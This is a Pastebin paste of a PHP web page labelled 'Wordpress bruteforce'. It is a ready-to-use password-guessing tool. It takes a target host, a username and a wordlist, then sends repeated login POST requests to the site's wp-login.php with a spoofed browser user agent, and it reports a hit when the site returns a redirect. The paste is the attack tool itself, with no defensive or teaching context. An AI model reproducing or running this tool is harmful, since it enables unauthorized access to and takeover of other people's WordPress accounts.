Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <head>
- <title>Simple Tooler</title>
- <head>
- <meta charset="utf-8">
- <meta name="viewport" content="width=device-width; initial-scale=1.0; maximum-scale=1.0;">
- <style type='text/css'>
- @import url(https://fonts.googleapis.com/css?family=Ubuntu);
- html {
- background-color: black;
- min-height: 100%;
- background-repeat: no-repeat;
- background-attachment: fixed;
- background-position: center;
- background-size: cover;
- color: #ffffff;
- font-family: 'Ubuntu';
- font-size: 13px;
- width: 100%;
- padding: 0px;
- -moz-border-radius: 1px;
- -webkit-border-radius: 1px;
- border-radius: 1px;
- }
- li {
- display: inline;
- margin: 1px;
- padding: 1px;
- -moz-border-radius: 1px;
- -webkit-border-radius: 1px;
- border-radius: 1px;
- }
- a {
- padding: 1px;
- border: 1px solid darkred;
- color: red;
- text-decoration:
- none;color: red;
- font-size:14px;
- }
- a:hover {
- color: darkred;
- text-decoration: underline;
- }
- b {
- color: darkred;
- }
- .area{
- width:400px;
- height:350px;
- resize:none;
- }
- input[type=text],input[type=submit] {
- border:2px solid darkred;
- background:transparent;
- color:red;
- font-weight:bold;
- margin:px;
- padding:5px
- }
- </style>
- </head>
- <hr color=darkred>
- <br><br><center>
- <font face="tahoma" style="color:darkred;text-shadow:0px 1px 5px #000;font-size:25px"><pre>Wordpress bruteforce</pre></font>
- <?php
- set_time_limit(0);
- error_reporting(0);
- class Wp{
- private $host;
- private $user;
- private $open;
- private $lista;
- public function banner() {
- echo("
- <html>
- <head>
- <body>
- <form action='' method='POST'>
- Host:<input type='text' name='host' size='40'><br>
- User:<input type='text' name='user' size='25'><br>
- <center>Wordlist</center>
- <center><textarea class='area' name='lista'></textarea><br><br><center>
- <center><input type='Submit' value='Start'></center>
- </form>
- </body>
- </html>");
- }
- public function extract_post() {
- $this->host = $_POST["host"];
- $this->user = $_POST["user"];
- $this->open = $_POST["lista"];
- }
- public function Xregex() {
- if(preg_match("@/wp-login.php@", $this->host)) {
- return true;
- } else {
- $this->host = $_POST["host"]."/wp-login.php";
- }
- }
- public function brute() {
- $lista = array_filter(explode("\n", $this->open));
- foreach($lista as $this->lista) {
- for($i=0; $i < count($this->lista); $i++) {
- $this->Xcurl();
- }
- }
- }
- private function cool() {
- echo "Host:"."<font color='white'>{$this->host}</font>";
- echo " User:"."<font color='white'>{$this->user}</font>";
- echo " Pass:"."<font color='white'>{$this->lista}</font>";
- }
- private function Xcurl() {
- $curl = curl_init();
- curl_setopt($curl, CURLOPT_URL, $this->host);
- curl_setopt($curl, CURLOPT_USERAGENT, $this->useragent);
- curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 10);
- curl_setopt($curl, CURLOPT_POST, true);
- curl_setopt($curl, CURLOPT_POSTFIELDS, "log=$this->user&pwd=$this->lista&wp-submit=Login&redirect_to=$this->host/wp-admin/");
- $exec = curl_exec($curl);
- $http = curl_getinfo($curl, CURLINFO_HTTP_CODE);
- $this->cool();
- if($http == 302) {
- echo "<font color='#00FF00'> [+] Successfull!!</font><br>";
- break;
- } else {
- echo "<font color='red'>Failed</font><br>";
- }
- curl_close($curl);
- }
- }
- $wp = new Wp();
- $wp->useragent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0";
- $wp->banner();
- $wp->extract_post();
- $wp->Xregex();
- $wp->brute();
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement